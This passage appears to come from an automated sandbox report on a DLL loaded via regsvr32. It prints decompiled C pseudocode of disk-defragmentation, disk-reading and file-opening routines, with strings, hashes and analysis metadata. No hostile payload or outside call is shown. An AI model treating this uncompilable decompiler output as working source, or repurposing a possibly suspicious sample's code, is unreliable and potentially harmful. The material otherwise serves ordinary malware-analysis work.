				E00000001180004968(0, _t47,  *((intOrPtr*)(_t202 + 0x20)),  *((intOrPtr*)(_t275 - 1)), _t236,  *((intOrPtr*)(_t255 + 8)), L"Data found at LCN=%I64u, %s", _t263);
				r9d = 0;
				 *(_t278 + 0x48) =  *(_t275 + 0x7f);
				_t51 = _t275 + 7; // 0x7
				 *((long long*)(_t278 + 0x40)) = _t51;
				_t53 = _t275 - 9; // -9
				 *((long long*)(_t278 + 0x38)) = _t53;
				 *(_t278 + 0x30) =  *(_t278 + 0x30) & 0x00000000;
				 *(_t278 + 0x28) = 1;
				 *(_t278 + 0x20) =  *(_t278 + 0x20) & 0x00000000;
				if (E0000000118000B10C(0, _t53,  *((intOrPtr*)(_t275 - 1)),  *((intOrPtr*)(_t275 + 0x5f)), _t266, _t309, L"Data found at LCN=%I64u, %s",  *(_t275 - 0x11)) == 0) goto 0x8000f901;
				_t259 =  *((intOrPtr*)(_t275 + 7));
				_t176 = _t259 - _t316;
				if (_t176 < 0) goto 0x8000f8d0;
				if (_t176 != 0) goto 0x8000f73f;
				_t283 =  *((intOrPtr*)(_t275 + 0x77));
				if (_t259 -  *((intOrPtr*)(_t275 - 9)) - _t283 >= 0) goto 0x8000f884;
				if (_t309 - _t271 >= 0) goto 0x8000f8bf;
				_t242 =  *((intOrPtr*)(_t275 - 0x21));
				_t318 = _t242 -  *(_t275 - 0x19);
				if (_t318 -  *(_t275 - 0x29) - _t311 < 0) goto 0x8000f835;
				if (_t271 -  *((intOrPtr*)(_t266 + 0x198)) >= 0) goto 0x8000f7cf;
				if (_t271 - _t242 < 0) goto 0x8000f7cf;
				r8d = 0;
				 *(_t278 + 0x20) = _t271;
				_t68 = _t283 + 5; // 0x5
				E00000001180004968(0, _t68,  *(_t275 - 0x29) - _t311,  *((intOrPtr*)(_t275 - 1)), _t259, _t283, L"Finding gap above MoveTo=%I64u", _t268);
				 *(_t278 + 0x48) =  *(_t278 + 0x48) & 0x00000000;
				_t71 = _t275 - 0x29; // -41
				r9d = 0;
				 *((long long*)(_t278 + 0x40)) = _t71;
				_t284 = _t271;
				_t74 = _t275 - 0x31; // -49
				 *((long long*)(_t278 + 0x38)) = _t74;
				 *(_t278 + 0x30) =  *(_t278 + 0x30) & 0x00000000;
				 *(_t278 + 0x28) = 1;
				 *(_t278 + 0x20) = _t318;
				if (E0000000118000B10C(0, _t74, _t225,  *((intOrPtr*)(_t275 + 0x5f)), _t266, _t284, L"Finding gap above MoveTo=%I64u",  *(_t275 - 0x11)) != 0) goto 0x8000f831;
				r8d = 0;
				 *(_t278 + 0x20) =  *((intOrPtr*)(_t275 - 0x21));
				_t82 = _t284 + 5; // 0x5
				E00000001180004968(0, _t82, _t74, _t225, _t266, _t284, L"Finding gap from end of disk above BiggerEnd=%I64u", _t220);
				 *(_t278 + 0x48) =  *(_t278 + 0x48) & 0x00000000;
				_t85 = _t275 - 0x29; // -41
				r9d = 0;
				 *((long long*)(_t278 + 0x40)) = _t85;
				_t89 = _t275 - 0x31; // -49
				 *((long long*)(_t278 + 0x38)) = _t89;
				 *(_t278 + 0x30) = 1;
				 *(_t278 + 0x28) = 1;
				 *(_t278 + 0x20) = _t318;
				if (E0000000118000B10C(0, _t89, _t225,  *((intOrPtr*)(_t275 + 0x5f)), _t266,  *((intOrPtr*)(_t275 - 0x21)), L"Finding gap from end of disk above BiggerEnd=%I64u",  *(_t275 - 0x11)) == 0) goto 0x8000f8b6;
				_t312 =  *(_t275 - 0x31);
				 *(_t278 + 0x30) =  *(_t278 + 0x30) & 0x00000000;
				_t262 = _t266;
				_t286 =  *((intOrPtr*)(_t275 + 0x6f));
				_t248 =  *((intOrPtr*)(_t275 + 0x5f));
				 *(_t278 + 0x28) = _t318;
				 *(_t278 + 0x20) =  *((intOrPtr*)(_t275 + 0xf));
				if (E0000000118000CB04(0, _t148, __esi, __ebp, _t225, _t248, _t262, _t275, _t286, _t312) != 1) goto 0x8000f870;
				_t272 =  <  ? _t312 : _t271;
				_t313 = _t312 + _t318;
				 *(_t275 - 0x31) = _t313;
				goto 0x8000f874;
				 *(_t275 - 0x29) = _t313;
				goto 0x8000f5bd;
				 *((long long*)(_t278 + 0x38)) = _t286;
				r8d = 0;
				 *(_t278 + 0x30) = _t262 - _t248;
				 *(_t278 + 0x28) = _t262;
				 *(_t278 + 0x20) = _t248;
				_t110 = _t286 + 5; // 0x5
				E00000001180004968(0, _t110, _t262 - _t248, _t225, _t262, _t286, L"Finished vacating, the gap from %I64u to %I64u (%I64u clusters) is now bigger than %I64u clusters.", _t274);
				goto 0x8000f925;
				goto 0x8000f8c6;
				goto 0x8000f4d7;
				_t250 =  *((intOrPtr*)(_t275 - 9));
				r8d = 0;
				 *(_t278 + 0x30) = _t262 - _t250;
				 *(_t278 + 0x28) = _t262;
				 *(_t278 + 0x20) = _t250;
				_t115 = _t286 + 5; // 0x5
				E00000001180004968(0, _t115, _t262 - _t250, _t225, _t262, _t286, L"Cannot enlarge the gap from %I64u to %I64u (%I64u clusters) any further.");
				goto 0x8000f925;
				goto 0x8000f911;
				r8d = 0;
				 *(_t278 + 0x20) = _t309;
				_t117 = _t286 + 5; // 0x5
				return E00000001180004968(0, _t117, _t262 - _t250, _t225, _t262, _t286, L"No data found above LCN=%I64u");
			}
















































                                                                                                        0x18000f464
                                                                                                        0x18000f464
                                                                                                        0x18000f464
                                                                                                        0x18000f464
                                                                                                        0x18000f467
                                                                                                        0x18000f46b
                                                                                                        0x18000f46f
                                                                                                        0x18000f47d
                                                                                                        0x18000f481
                                                                                                        0x18000f488
                                                                                                        0x18000f48b
                                                                                                        0x18000f48e
                                                                                                        0x18000f491
                                                                                                        0x18000f496
                                                                                                        0x18000f499
                                                                                                        0x18000f4a5
                                                                                                        0x18000f4ac
                                                                                                        0x18000f4b4
                                                                                                        0x18000f4b4
                                                                                                        0x18000f4bb
                                                                                                        0x18000f4c0
                                                                                                        0x18000f4ca
                                                                                                        0x18000f4d3
                                                                                                        0x18000f4d7
                                                                                                        0x18000f4dd
                                                                                                        0x18000f4e2
                                                                                                        0x18000f4e7
                                                                                                        0x18000f4ef
                                                                                                        0x18000f4f8
                                                                                                        0x18000f503
                                                                                                        0x18000f50c
                                                                                                        0x18000f511
                                                                                                        0x18000f513
                                                                                                        0x18000f516
                                                                                                        0x18000f519
                                                                                                        0x18000f51b
                                                                                                        0x18000f520
                                                                                                        0x18000f531
                                                                                                        0x18000f536
                                                                                                        0x18000f53a
                                                                                                        0x18000f542
                                                                                                        0x18000f548
                                                                                                        0x18000f550
                                                                                                        0x18000f558
                                                                                                        0x18000f55c
                                                                                                        0x18000f55e
                                                                                                        0x18000f562
                                                                                                        0x18000f566
                                                                                                        0x18000f575
                                                                                                        0x18000f58a
                                                                                                        0x18000f597
                                                                                                        0x18000f59b
                                                                                                        0x18000f59e
                                                                                                        0x18000f5a3
                                                                                                        0x18000f5ac
                                                                                                        0x18000f5af
                                                                                                        0x18000f5b3
                                                                                                        0x18000f5b6
                                                                                                        0x18000f5bd
                                                                                                        0x18000f5c1
                                                                                                        0x18000f5c7
                                                                                                        0x18000f5ce
                                                                                                        0x18000f5d1
                                                                                                        0x18000f5d4
                                                                                                        0x18000f5d8
                                                                                                        0x18000f5df
                                                                                                        0x18000f5e5
                                                                                                        0x18000f5e9
                                                                                                        0x18000f5eb
                                                                                                        0x18000f5f5
                                                                                                        0x18000f5ff
                                                                                                        0x18000f608
                                                                                                        0x18000f60f
                                                                                                        0x18000f611
                                                                                                        0x18000f615
                                                                                                        0x18000f618
                                                                                                        0x18000f61e
                                                                                                        0x18000f624
                                                                                                        0x18000f629
                                                                                                        0x18000f62e
                                                                                                        0x18000f633
                                                                                                        0x18000f635
                                                                                                        0x18000f642
                                                                                                        0x18000f649
                                                                                                        0x18000f650
                                                                                                        0x18000f65c
                                                                                                        0x18000f667
                                                                                                        0x18000f669
                                                                                                        0x18000f66d
                                                                                                        0x18000f674
                                                                                                        0x18000f679
                                                                                                        0x18000f681
                                                                                                        0x18000f694
                                                                                                        0x18000f69a
                                                                                                        0x18000f69e
                                                                                                        0x18000f6a2
                                                                                                        0x18000f6a9
                                                                                                        0x18000f6ba
                                                                                                        0x18000f6bd
                                                                                                        0x18000f6c5
                                                                                                        0x18000f6ca
                                                                                                        0x18000f6ce
                                                                                                        0x18000f6d6
                                                                                                        0x18000f6e0
                                                                                                        0x18000f6e7
                                                                                                        0x18000f6eb
                                                                                                        0x18000f6f0
                                                                                                        0x18000f6f4
                                                                                                        0x18000f6f9
                                                                                                        0x18000f6fe
                                                                                                        0x18000f706
                                                                                                        0x18000f713
                                                                                                        0x18000f719
                                                                                                        0x18000f71d
                                                                                                        0x18000f720
                                                                                                        0x18000f726
                                                                                                        0x18000f72f
                                                                                                        0x18000f739
                                                                                                        0x18000f742
                                                                                                        0x18000f748
                                                                                                        0x18000f753
                                                                                                        0x18000f75d
                                                                                                        0x18000f76a
                                                                                                        0x18000f76f
                                                                                                        0x18000f771
                                                                                                        0x18000f774
                                                                                                        0x18000f783
                                                                                                        0x18000f787
                                                                                                        0x18000f78c
                                                                                                        0x18000f791
                                                                                                        0x18000f799
                                                                                                        0x18000f79c
                                                                                                        0x18000f7a1
                                                                                                        0x18000f7a4
                                                                                                        0x18000f7ab
                                                                                                        0x18000f7b0
                                                                                                        0x18000f7b5
                                                                                                        0x18000f7bd
                                                                                                        0x18000f7c9
                                                                                                        0x18000f7cf
                                                                                                        0x18000f7d2
                                                                                                        0x18000f7e1
                                                                                                        0x18000f7e5
                                                                                                        0x18000f7ea
                                                                                                        0x18000f7ef
                                                                                                        0x18000f7f7
                                                                                                        0x18000f801
                                                                                                        0x18000f806
                                                                                                        0x18000f80a
                                                                                                        0x18000f80f
                                                                                                        0x18000f817
                                                                                                        0x18000f81f
                                                                                                        0x18000f82b
                                                                                                        0x18000f831
                                                                                                        0x18000f835
                                                                                                        0x18000f841
                                                                                                        0x18000f844
                                                                                                        0x18000f848
                                                                                                        0x18000f84c
                                                                                                        0x18000f851
                                                                                                        0x18000f85e
                                                                                                        0x18000f863
                                                                                                        0x18000f867
                                                                                                        0x18000f86a
                                                                                                        0x18000f86e
                                                                                                        0x18000f870
                                                                                                        0x18000f87f
                                                                                                        0x18000f884
                                                                                                        0x18000f893
                                                                                                        0x18000f899
                                                                                                        0x18000f89e
                                                                                                        0x18000f8a3
                                                                                                        0x18000f8a8
                                                                                                        0x18000f8af
                                                                                                        0x18000f8b4
                                                                                                        0x18000f8bd
                                                                                                        0x18000f8cb
                                                                                                        0x18000f8d0
                                                                                                        0x18000f8de
                                                                                                        0x18000f8e4
                                                                                                        0x18000f8e9
                                                                                                        0x18000f8ee
                                                                                                        0x18000f8f3
                                                                                                        0x18000f8fa
                                                                                                        0x18000f8ff
                                                                                                        0x18000f908
                                                                                                        0x18000f911
                                                                                                        0x18000f914
                                                                                                        0x18000f91c
                                                                                                        0x18000f936

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: swprintf
                                                                                                        • String ID: Cannot enlarge the gap from %I64u to %I64u (%I64u clusters) any further.$Data found at LCN=%I64u, %s$Error: trying to vacate an area beyond the end of the disk.$Finding gap above MoveTo=%I64u$Finding gap from end of disk above BiggerEnd=%I64u$Finished vacating, the gap from %I64u to %I64u (%I64u clusters) is now bigger than %I64u clusters.$MoveTo = %I64u$No data found above LCN=%I64u$No gap found.$No gaps found above LCN=%I64u$Stopping vacate because of possible worm.$Vacating %I64u clusters starting at LCN=%I64u
                                                                                                        • API String ID: 233258989-1653275393
                                                                                                        • Opcode ID: f93aaac26883b1dba5650a86dc04b920b539d0e114b2c6128fbe7defbccc27c2
                                                                                                        • Instruction ID: 3c34f99e157d0b26db1358f58981dc59ec0b78284fe6dbf5a21dfd303eb8ab52
                                                                                                        • Opcode Fuzzy Hash: f93aaac26883b1dba5650a86dc04b920b539d0e114b2c6128fbe7defbccc27c2
                                                                                                        • Instruction Fuzzy Hash: F0D19A32215B4886EBA6CF65E4507E973A4F789BC8F108226FE4D17B58DF38C659D700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800133E8 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 240fileCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 82%
                                                                                                        			E000000011800133E8(void* __eflags, long long __rbx, long long __rcx, long long __rdx, long long __r8, long long __r9) {
				void* _t25;
				signed long long _t33;
				signed long long _t34;
				long long _t36;
				void* _t50;
				void* _t52;
				signed long long _t53;
				long long _t55;
				void* _t65;
				void* _t67;
				long long _t68;

				_t55 = __r8;
				_t43 = __rdx;
				 *((long long*)(_t52 + 0x20)) = __rbx;
				_t50 = _t52 - 0x3c0;
				_t53 = _t52 - 0x4c0;
				_t33 =  *0x800d81f8; // 0x68308725f9ca
				_t34 = _t33 ^ _t53;
				 *(_t50 + 0x3b0) = _t34;
				_t36 = __r9;
				_t68 =  *((intOrPtr*)(_t50 + 0x430));
				 *((long long*)(_t53 + 0x58)) = __r9;
				 *((long long*)(_t53 + 0x70)) = __r8;
				 *((long long*)(_t53 + 0x78)) = __rdx;
				 *((long long*)(_t50 - 0x80)) = __rcx;
				E00000001180005CCC();
				r8d = 0;
				 *((long long*)(_t53 + 0x28)) =  *((intOrPtr*)(_t50 + 0x428));
				 *((long long*)(_t53 + 0x20)) = _t68;
				_t12 = _t55 + 6; // 0x6
				E00000001180004968(_t25, _t12, _t34, _t34, __rdx, __r8, L"    Reading %I64u bytes from offset %I64u", _t67);
				if (_t36 == 0) goto 0x8001349e;
				if ( *((intOrPtr*)(_t50 + 0x420)) == 0) goto 0x8001349e;
				if (_t68 - _t34 < 0) goto 0x800134ca;
				r8d = 0;
				 *((intOrPtr*)(_t53 + 0x28)) = 0x7fffffff;
				 *((long long*)(_t53 + 0x20)) = _t68;
				_t16 = _t55 + 2; // 0x2
				E00000001180004968(_t25, _t16, _t34, _t34, _t43, _t55, L"    Cannot read %I64u bytes, maximum is %lu.", _t65);
				return E000000011800149A0(0, _t25,  *(_t50 + 0x3b0) ^ _t53);
			}














                                                                                                        0x1800133e8
                                                                                                        0x1800133e8
                                                                                                        0x1800133e8
                                                                                                        0x1800133f8
                                                                                                        0x180013400
                                                                                                        0x180013407
                                                                                                        0x18001340e
                                                                                                        0x180013411
                                                                                                        0x18001341f
                                                                                                        0x180013422
                                                                                                        0x18001342c
                                                                                                        0x180013431
                                                                                                        0x180013436
                                                                                                        0x18001343b
                                                                                                        0x18001343f
                                                                                                        0x180013444
                                                                                                        0x180013447
                                                                                                        0x180013453
                                                                                                        0x18001345e
                                                                                                        0x180013462
                                                                                                        0x18001346a
                                                                                                        0x180013473
                                                                                                        0x18001347d
                                                                                                        0x18001347f
                                                                                                        0x180013482
                                                                                                        0x18001348d
                                                                                                        0x180013495
                                                                                                        0x180013499
                                                                                                        0x1800134c9

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ErrorFileLastReadswprintf
                                                                                                        • String ID: Cannot read %I64u bytes, maximum is %lu.$ Reading %I64u bytes from Lcn=%I64u into offset=%I64u$ Reading %I64u bytes from offset %I64u$Error while reading disk: %s$Error: datarun is longer than buffer, the MFT may be corrupt.$Error: malloc() returned NULL.
                                                                                                        • API String ID: 2333917259-3614984425
                                                                                                        • Opcode ID: 78b17ff81f4c7cd82320e47f733497fdb363f0bd8373793eeca6c88b16bfa8f7
                                                                                                        • Instruction ID: 1035e45ed94a9adf28d9f72b62da5b87d62362c4866cd71374bd8e2e7073abbb
                                                                                                        • Opcode Fuzzy Hash: 78b17ff81f4c7cd82320e47f733497fdb363f0bd8373793eeca6c88b16bfa8f7
                                                                                                        • Instruction Fuzzy Hash: D0A1A272305B8882EBA6CB65E4417DAB7A1F789BC8F548116FA8D47B58DF38C248C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800748CC Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 48%
                                                                                                        			E000000011800748CC(void* __ecx, void* __eflags, long long __rbx, long long __rcx, signed int* __rdx, long long __rdi, long long __rsi, long long __r8, void* __r10) {
				void* __rbp;
				signed int _t148;
				void* _t165;
				signed int _t167;
				void* _t182;
				signed int _t185;
				signed int _t186;
				intOrPtr* _t234;
				intOrPtr* _t237;
				long long _t249;
				long long _t257;
				signed long long _t263;
				signed long long _t279;
				signed int* _t303;
				long long _t306;
				void* _t308;
				void* _t309;
				intOrPtr* _t311;
				void* _t312;
				void* _t321;
				void* _t323;
				void* _t327;
				void* _t331;

				_t314 = __r8;
				_t234 = _t311;
				 *((long long*)(_t234 + 8)) = __rbx;
				 *((long long*)(_t234 + 0x10)) = __rsi;
				 *((long long*)(_t234 + 0x20)) = __rdi;
				 *((long long*)(_t234 + 0x18)) = __r8;
				_t309 = _t234 - 0x47;
				_t312 = _t311 - 0xc0;
				r12d = r9d;
				_t257 = __r8;
				r9d =  *(_t309 + 0x77);
				_t303 = __rdx;
				r8d =  *(_t309 + 0x6f);
				_t306 = __rcx;
				E00000001180074330(r12d, __eflags, _t234, __r8, _t309 - 1, _t309);
				asm("movups xmm0, [eax]");
				asm("movsd xmm1, [eax+0x10]");
				asm("movups [ebp-0x59], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("movsd [ebp-0x39], xmm1");
				asm("movsd [ebp-0x49], xmm1");
				 *(_t309 - 0x29) = _t331 >> 0x20;
				if (r15d != 0xffffffff) goto 0x80074959;
				E0000000118005B334(r15d - 0xffffffff, _t234);
				 *_t234 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E0000000118005B354(r15d - 0xffffffff, _t234);
				goto 0x80074c9a;
				_t148 = E00000001180070E90(r12d, _t234, __r8, _t309 - 1, __rdx, __rdx, _t306);
				 *__rdx = _t148;
				if (_t148 != 0xffffffff) goto 0x8007497e;
				E0000000118005B334(_t148 - 0xffffffff, _t234);
				 *_t234 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E0000000118005B354(_t148 - 0xffffffff, _t234);
				 *_t234 = 0x18;
				goto 0x8007494d;
				r8d = r15d;
				r14d = r14d |  *(_t309 - 0x49);
				 *_t306 = 1;
				 *((long long*)(_t312 + 0x30)) = _t306;
				 *(_t312 + 0x28) = r14d;
				 *((intOrPtr*)(_t312 + 0x20)) =  *((intOrPtr*)(_t309 - 0x51));
				 *((intOrPtr*)(_t309 - 0x21)) = 0x18;
				 *((long long*)(_t309 - 0x19)) = _t306;
				 *(_t309 - 0x11) =  !(r12d >> 7) & 0x00000001;
				 *(_t309 - 0x31) =  *(_t309 - 0x49) >> 0x20;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				_t185 =  *(_t309 - 0x55);
				if (_t234 != 0xffffffff) goto 0x80074a64;
				if ((_t185 & 0xc0000000) != 0xc0000000) goto 0x80074a31;
				if ((r12b & 0x00000001) == 0) goto 0x80074a31;
				 *((long long*)(_t312 + 0x30)) = _t306;
				asm("btr ebx, 0x1f");
				 *(_t309 - 0x55) = _t185;
				r8d = r15d;
				 *(_t312 + 0x28) = r14d;
				 *((intOrPtr*)(_t312 + 0x20)) =  *((intOrPtr*)(_t309 - 0x51));
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t234 != 0xffffffff) goto 0x80074a64;
				_t263 =  *__rdx;
				_t237 =  *((intOrPtr*)(0x800da020 + (_t263 >> 6) * 8));
				 *(_t237 + 0x38 + (_t263 + _t263 * 8) * 8) =  *(_t237 + 0x38 + (_t263 + _t263 * 8) * 8) & 0x000000fe;
				E0000000118005B2C8(GetLastError(), r12d, _t234 - 0xffffffff, _t237, _t263 + _t263 * 8, _t306, _t314);
				goto 0x8007494d;
				if (GetFileType(_t331) != 0) goto 0x80074ac2;
				_t186 = GetLastError();
				E0000000118005B2C8(_t162, r12d, GetFileType(_t331), _t237, _t234, _t306, _t314);
				 *( *((intOrPtr*)(0x800da020 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) =  *( *((intOrPtr*)(0x800da020 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) & 0x000000fe;
				CloseHandle(_t327);
				if (_t186 != 0) goto 0x8007494d;
				_t165 = E0000000118005B354(_t186, _t237);
				 *_t237 = 0xd;
				goto 0x8007494d;
				r14b =  *(_t309 - 0x59);
				if (_t165 != 2) goto 0x80074ad1;
				r14b = r14b | 0x00000040;
				goto 0x80074ada;
				if (_t165 != 3) goto 0x80074ada;
				r14b = r14b | 0x00000008;
				E00000001180070DA8(_t165, _t186,  *__rdx, _t257, _t234, __rdx, _t306, _t309, _t323, _t321);
				r14b = r14b | 0x00000001;
				 *(_t309 - 0x41) = r14b;
				 *(_t309 - 0x59) = r14b;
				 *( *((intOrPtr*)(0x800da020 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) = r14b;
				 *((intOrPtr*)( *((intOrPtr*)(0x800da020 + ( *__rdx >> 6) * 8)) + 0x39 + ( *__rdx +  *__rdx * 8) * 8)) = sil;
				if ((r12b & 0x00000002) == 0) goto 0x80074b4e;
				_t167 = E000000011800745E0(_t186,  *__rdx, r12d & 0x0000003f, _t257, __r10);
				r14d = _t167;
				if (_t167 == 0) goto 0x80074b4e;
				E000000011800633FC( *((intOrPtr*)(0x800da020 + ( *__rdx >> 6) * 8)), _t257, _t303);
				goto 0x80074c9a;
				asm("movups xmm0, [ebp-0x59]");
				asm("movsd xmm1, [ebp-0x39]");
				r8d = r12d;
				asm("movaps [ebp-0x1], xmm0");
				 *((intOrPtr*)(_t309 - 0x61)) = sil;
				asm("movsd [ebp+0xf], xmm1");
				r14d = E00000001180073F98( *_t303, _t257, _t309 - 1, _t306, _t309 - 0x61);
				if (r14d == 0) goto 0x80074b85;
				goto 0x80074b41;
				 *((char*)( *((intOrPtr*)(0x800da020 + ( *_t303 >> 6) * 8)) + 0x39 + ( *_t303 +  *_t303 * 8) * 8)) =  *((intOrPtr*)(_t309 - 0x61));
				 *( *((intOrPtr*)(0x800da020 + ( *_t303 >> 6) * 8)) + 0x3d + ( *_t303 +  *_t303 * 8) * 8) =  *( *((intOrPtr*)(0x800da020 + ( *_t303 >> 6) * 8)) + 0x3d + ( *_t303 +  *_t303 * 8) * 8) ^ (r12d >> 0x00000010 ^  *( *((intOrPtr*)(0x800da020 + ( *_t303 >> 6) * 8)) + 0x3d + ( *_t303 +  *_t303 * 8) * 8)) & 0x00000001;
				if (( *(_t309 - 0x41) & 0x00000048) != 0) goto 0x80074be9;
				if ((r12b & 0x00000008) == 0) goto 0x80074be9;
				_t279 =  *_t303;
				_t249 =  *((intOrPtr*)(0x800da020 + (_t279 >> 6) * 8));
				 *(_t249 + 0x38 + (_t279 + _t279 * 8) * 8) =  *(_t249 + 0x38 + (_t279 + _t279 * 8) * 8) | 0x00000020;
				if ((_t186 & 0xc0000000) != 0xc0000000) goto 0x80074c98;
				if ((r12b & 0x00000001) == 0) goto 0x80074c98;
				CloseHandle(_t308);
				r8d =  *(_t309 - 0x29);
				asm("btr ebx, 0x1f");
				 *((long long*)(_t312 + 0x30)) = _t306;
				 *(_t312 + 0x28) = 0xc0000000;
				 *((intOrPtr*)(_t312 + 0x20)) =  *((intOrPtr*)(_t309 - 0x51));
				 *(_t309 - 0x55) = _t186;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t249 != 0xffffffff) goto 0x80074c7e;
				_t182 = E0000000118005B2C8(GetLastError(), r12d & 0x0000003f, _t249 - 0xffffffff, _t249,  *((intOrPtr*)(_t309 + 0x5f)), _t306, _t314);
				 *( *((intOrPtr*)(0x800da020 + ( *_t303 >> 6) * 8)) + 0x38 + ( *_t303 +  *_t303 * 8) * 8) =  *( *((intOrPtr*)(0x800da020 + ( *_t303 >> 6) * 8)) + 0x38 + ( *_t303 +  *_t303 * 8) * 8) & 0x000000fe;
				E00000001180070FD0(_t182, _t186,  *_t303, _t257, _t303, _t306);
				goto 0x8007494d;
				 *((long long*)( *((intOrPtr*)(0x800da020 + ( *_t303 >> 6) * 8)) + 0x28 + ( *_t303 +  *_t303 * 8) * 8)) = _t249;
				return 0;
			}


























                                                                                                        0x1800748cc
                                                                                                        0x1800748cc
                                                                                                        0x1800748cf
                                                                                                        0x1800748d3
                                                                                                        0x1800748d7
                                                                                                        0x1800748db
                                                                                                        0x1800748e8
                                                                                                        0x1800748ec
                                                                                                        0x1800748f3
                                                                                                        0x1800748f6
                                                                                                        0x1800748f9
                                                                                                        0x1800748fd
                                                                                                        0x180074900
                                                                                                        0x180074904
                                                                                                        0x18007490e
                                                                                                        0x180074913
                                                                                                        0x180074916
                                                                                                        0x18007491b
                                                                                                        0x18007491f
                                                                                                        0x180074924
                                                                                                        0x180074929
                                                                                                        0x180074932
                                                                                                        0x180074937
                                                                                                        0x18007493f
                                                                                                        0x180074941
                                                                                                        0x180074948
                                                                                                        0x18007494a
                                                                                                        0x18007494d
                                                                                                        0x180074954
                                                                                                        0x180074959
                                                                                                        0x18007495e
                                                                                                        0x180074963
                                                                                                        0x180074965
                                                                                                        0x18007496c
                                                                                                        0x18007496e
                                                                                                        0x180074971
                                                                                                        0x180074976
                                                                                                        0x18007497c
                                                                                                        0x180074990
                                                                                                        0x18007499c
                                                                                                        0x1800749a3
                                                                                                        0x1800749ab
                                                                                                        0x1800749b0
                                                                                                        0x1800749b5
                                                                                                        0x1800749c0
                                                                                                        0x1800749c7
                                                                                                        0x1800749cb
                                                                                                        0x1800749ce
                                                                                                        0x1800749d2
                                                                                                        0x1800749d8
                                                                                                        0x1800749e7
                                                                                                        0x1800749ef
                                                                                                        0x1800749f5
                                                                                                        0x1800749fe
                                                                                                        0x180074a03
                                                                                                        0x180074a07
                                                                                                        0x180074a0a
                                                                                                        0x180074a11
                                                                                                        0x180074a16
                                                                                                        0x180074a22
                                                                                                        0x180074a2f
                                                                                                        0x180074a31
                                                                                                        0x180074a49
                                                                                                        0x180074a4d
                                                                                                        0x180074a5a
                                                                                                        0x180074a5f
                                                                                                        0x180074a6f
                                                                                                        0x180074a79
                                                                                                        0x180074a7b
                                                                                                        0x180074a9c
                                                                                                        0x180074aa4
                                                                                                        0x180074aac
                                                                                                        0x180074ab2
                                                                                                        0x180074ab7
                                                                                                        0x180074abd
                                                                                                        0x180074ac2
                                                                                                        0x180074ac9
                                                                                                        0x180074acb
                                                                                                        0x180074acf
                                                                                                        0x180074ad4
                                                                                                        0x180074ad6
                                                                                                        0x180074adf
                                                                                                        0x180074af1
                                                                                                        0x180074afc
                                                                                                        0x180074b00
                                                                                                        0x180074b0c
                                                                                                        0x180074b26
                                                                                                        0x180074b2f
                                                                                                        0x180074b33
                                                                                                        0x180074b38
                                                                                                        0x180074b3d
                                                                                                        0x180074b41
                                                                                                        0x180074b49
                                                                                                        0x180074b4e
                                                                                                        0x180074b58
                                                                                                        0x180074b61
                                                                                                        0x180074b64
                                                                                                        0x180074b68
                                                                                                        0x180074b6c
                                                                                                        0x180074b76
                                                                                                        0x180074b7f
                                                                                                        0x180074b83
                                                                                                        0x180074b9a
                                                                                                        0x180074bbf
                                                                                                        0x180074bc7
                                                                                                        0x180074bcd
                                                                                                        0x180074bcf
                                                                                                        0x180074be0
                                                                                                        0x180074be4
                                                                                                        0x180074bf4
                                                                                                        0x180074bfe
                                                                                                        0x180074c07
                                                                                                        0x180074c15
                                                                                                        0x180074c19
                                                                                                        0x180074c1d
                                                                                                        0x180074c22
                                                                                                        0x180074c29
                                                                                                        0x180074c31
                                                                                                        0x180074c3c
                                                                                                        0x180074c49
                                                                                                        0x180074c53
                                                                                                        0x180074c6d
                                                                                                        0x180074c74
                                                                                                        0x180074c79
                                                                                                        0x180074c93
                                                                                                        0x180074cba

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
